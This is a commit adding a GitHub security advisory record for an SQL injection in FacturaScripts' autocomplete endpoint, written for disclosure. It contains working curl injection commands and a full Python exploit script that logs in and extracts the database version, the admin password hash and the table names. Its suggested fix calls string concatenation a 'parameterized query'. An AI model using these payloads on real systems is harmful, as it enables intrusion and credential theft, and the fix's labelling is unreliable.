Skip to content

Commit 85b2762

Browse files
1 parent 5c42040 commit 85b2762

1 file changed

Lines changed: 63 additions & 0 deletions

File tree

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-pqqg-5f4f-8952",
4+
"modified": "2026-02-03T18:17:24Z",
5+
"published": "2026-02-03T18:17:24Z",
6+
"aliases": [
7+
"CVE-2026-25514"
8+
],
9+
"summary": "FacturaScripts has SQL Injection in Autocomplete Actions",
10+
"details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n // ......\n\n // VULNERABLE CODE:\n $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '\n . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {\n $result[] = new static($row);\n }\n\n return $result;\n}\n```\n\n#### Vulnerable Parameters\n\nThe following parameters are vulnerable to SQL Injection:\n\n1. **`source`** → Maps to `$tableName` - Table name injection\n2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection\n3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)\n\n#### Attack Flow\n\n1. Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\necho $TOKEN\n```\n\n**2. Authenticate (Login):**\nUse the saved cookie and the token to log in.\n```bash\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" \\\n -d \"fsPassword=admin\" \\\n -d \"action=login\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n**3. Extract Database Version:**\nObtain a fresh token for the next request and execute the injection.\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n -d \"action=autocomplete\" \\\n -d \"source=users\" \\\n -d \"fieldcode=nick\" \\\n -d \"fieldtitle=version()\" \\\n -d \"term=admin\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n**4. Extract Database User and Name:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n -d \"action=autocomplete\" \\\n -d \"source=users\" \\\n -d \"fieldcode=nick\" \\\n -d \"fieldtitle=concat(user(),' @ ',database())\" \\\n -d \"term=admin\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n**5. Extract Admin Password Hash:**\n```bash\n# Get fresh token\nTOKEN=$(curl -s -b cookies.txt \"http://localhost:8091/CopyModel\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\n\n# Execute SQLi\ncurl -s -b cookies.txt \"http://localhost:8091/CopyModel\" \\\n -d \"action=autocomplete\" \\\n -d \"source=users\" \\\n -d \"fieldcode=nick\" \\\n -d \"fieldtitle=password\" \\\n -d \"term=admin\" \\\n -d \"multireqtoken=$TOKEN\"\n```\n\n#### Automated Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nFacturaScripts SQL Injection Exploit - Autocomplete\nAuthor: Łukasz Rybak\n\"\"\"\n\nimport requests\nimport re\nimport json\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\n\nsession = requests.Session()\n\ndef get_csrf_token(url):\n \"\"\"Extract CSRF token from page\"\"\"\n response = session.get(url)\n match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', response.text)\n return match.group(1) if match else None\n\ndef login():\n \"\"\"Authenticate to FacturaScripts\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n token = get_csrf_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get CSRF token\")\n exit()\n\n data = {\n \"multireqtoken\": token,\n \"action\": \"login\",\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD\n }\n response = session.post(f\"{BASE_URL}/login\", data=data)\n\n if \"Dashboard\" not in response.text:\n print(\"[!] Login failed!\")\n exit()\n print(\"[+] Successfully logged in.\")\n\ndef exploit_sqli(field_payload, term=\"admin\", source=\"users\", field_code=\"nick\"):\n \"\"\"Execute SQL injection through autocomplete\"\"\"\n data = {\n \"action\": \"autocomplete\",\n \"source\": source,\n \"fieldcode\": field_code,\n \"fieldtitle\": field_payload,\n \"term\": term\n }\n response = session.post(f\"{BASE_URL}/CopyModel\", data=data)\n try:\n return response.json()\n except:\n return None\n\ndef main():\n login()\n\n print(\"\\n\" + \"=\"*60)\n print(\" EXPLOITING SQL INJECTION IN AUTOCOMPLETE \")\n print(\"=\"*60 + \"\\n\")\n\n # 1. Database version\n print(\"[*] Extracting database version...\")\n res = exploit_sqli(\"version()\")\n if res:\n print(f\"[+] Database Version: {res[0]['value']}\")\n\n # 2. Current user and database\n print(\"[*] Extracting DB user and database name...\")\n res = exploit_sqli(\"concat(user(),' @ ',database())\")\n if res:\n print(f\"[+] DB User @ Database: {res[0]['value']}\")\n\n # 3. Admin password hash\n print(\"[*] Extracting admin password hash...\")\n res = exploit_sqli(\"password\", term=\"admin\")\n if res:\n print(f\"[+] Admin Password Hash: {res[0]['value']}\")\n\n # 4. All table names\n print(\"[*] Extracting table names...\")\n res = exploit_sqli(\"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())\")\n if res:\n print(f\"[+] Tables: {res[0]['value']}\")\n\n print(\"\\n[+] Exploitation complete!\")\n\nif __name__ == \"__main__\":\n main()\n```\n<img width=\"2524\" height=\"410\" alt=\"image\" src=\"https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d\" />\n\n---\n\n### Impact\n\nThis SQL injection vulnerability has **CRITICAL** impact:\n\n#### Data Confidentiality\n- **Complete database disclosure** - Attacker can extract all data including:\n - User credentials (password hashes)\n - Customer information (names, addresses, tax IDs, etc.)\n - Financial records (invoices, payments, bank details)\n - Business logic and configuration data\n - Plugin and system settings\n\n#### Who is Impacted?\n- **All FacturaScripts installations** running vulnerable versions\n- **All authenticated users** can exploit (not just admins)\n- **Businesses using FacturaScripts** for accounting/invoicing\n- **Customers whose data is stored** in the system\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Use Prepared Statements**\n\n```php\n// File: Core/Model/CodeModel.php\n// Method: all()\n\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n // ... validation code ...\n\n // Validate and escape identifiers\n $safeTableName = self::db()->escapeColumn($tableName);\n $safeFieldCode = self::db()->escapeColumn($fieldCode);\n $safeFieldDescription = self::db()->escapeColumn($fieldDescription);\n\n // Use parameterized query\n $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '\n . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';\n\n foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {\n $result[] = new static($row);\n }\n\n return $result;\n}\n```\n### Credits\n\n**Discovered by:** Łukasz Rybak",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "facturascripts/facturascripts"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2025.81"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/NeoRazorX/facturascripts"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-20",
55+
"CWE-89",
56+
"CWE-943"
57+
],
58+
"severity": "HIGH",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-02-03T18:17:24Z",
61+
"nvd_published_at": null
62+
}
63+
}

0 commit comments

Comments
 (0)